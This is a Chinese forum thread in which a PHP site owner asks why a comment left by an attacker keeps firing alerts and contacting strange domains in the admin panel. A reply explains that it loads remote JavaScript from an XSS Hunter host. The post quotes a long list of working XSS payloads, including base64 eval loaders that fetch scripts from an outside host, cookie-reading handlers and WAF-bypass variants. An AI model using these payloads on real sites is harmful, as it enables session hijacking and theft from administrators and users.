评论被人恶意提交代码，一直 alert

自写的 php 英文站，评论有人提交这个代码，经过 htmlspecialchars 保存在数据表，今天点开后台评论管理页面，就一直弹 1，弹域名这些，并且发送了一些请求到乱七八糟的域名，本地断网测试一番又没发现问题，请大家看看有什么问题？

XSSHUNTER PAYLOADS "><script src=https://0xrohadi.xss.ht></script> javascript:eval('var a=document.createElement(\'script\');a.src=\'https://0xrohadi.xss.ht\';document.body.appendChild(a)') "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== autofocus> "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== onerror=eval(atob(this.id))> "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw==> "><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://0xrohadi.xss.ht";parent.document.body.appendChild(a);</script>"> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0xrohadi.xss.ht");a.send();</script> "><script>$.getScript("//0xrohadi.xss.ht")</script> <audio controls onprogress=alert(1)> <source src=xss.mp3 type=audio/mpeg> </audio> <iframe><textarea></iframe><img src="" onerror="alert`1`"> xsstest'">{{7*7}} %22%3E%3Cbase%20href=%22https://0xrohadi.xss.ht%22%3E <script%26gt Tanda kutip commbo %bf%27 "><svg><discard onbegin=alert(1)> Bypass WAF XSS path?p1=a%22><svg%20&p2=xxx&p3=a+onL0aD=confirm(document.domain)> <math><mtext><table><mglyph><style><math><table id="</table>"><img src onerror=alert(1)"> <form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form> //ciao\"};prompt();/*var asd=[{\"foo\":\"bar "'>< + + <svg/onload=alert(document.domain)> %22%27%3E%3C%0D%0A+%0D%0A+%3Csvg/onload=alert%28document.domain%29%3E <noscript><p title="</noscript><img src=x onerror=alert(document.cookie)>"> curl -i -s -k -X 'GET' \ -H 'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' \ 'https://app.box.com/' JSON XSS MODIFY HERE {"id":"abcabc\"><svg/onload=confirm(1)>abcabc","name":"file-name"} abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e ”/><script>alert(1)</script&gt”/> ＞＜ ); alert(document.domain); if (1 ')-prompt('xss <img src=\"http://attacker-ip/?id= <svg></p><style><g title="</style><img src onerror=alert(document.domain)>"> \" onerror = \"alert(123)\" \" ';[confirm][document.domain];// " onmouseover="alert(1)" '/alert[/xss/]/' */confirm(1)/*

zhao372716335

2021-03-23 21:51:13 +08:00

@l890908

<script src=https://0xrohadi.xss.ht></script>

这个是加载的一个远程的 js 文件，你打开这个文件： https://0xrohadi.xss.ht/

This is a payload to test for Cross-site Scripting (XSS). It is meant to be used by security professionals and bug bounty hunters.

If you believe that this payload has been used to attempt to compromise your service without permission, please contact us using https://xsshunter.com/contact.

We take abuse of our service seriously and only allow security testing of services which our users have consent to test.

-XSS Hunter Team
*/

// https://github.com/niklasvh/html2canvas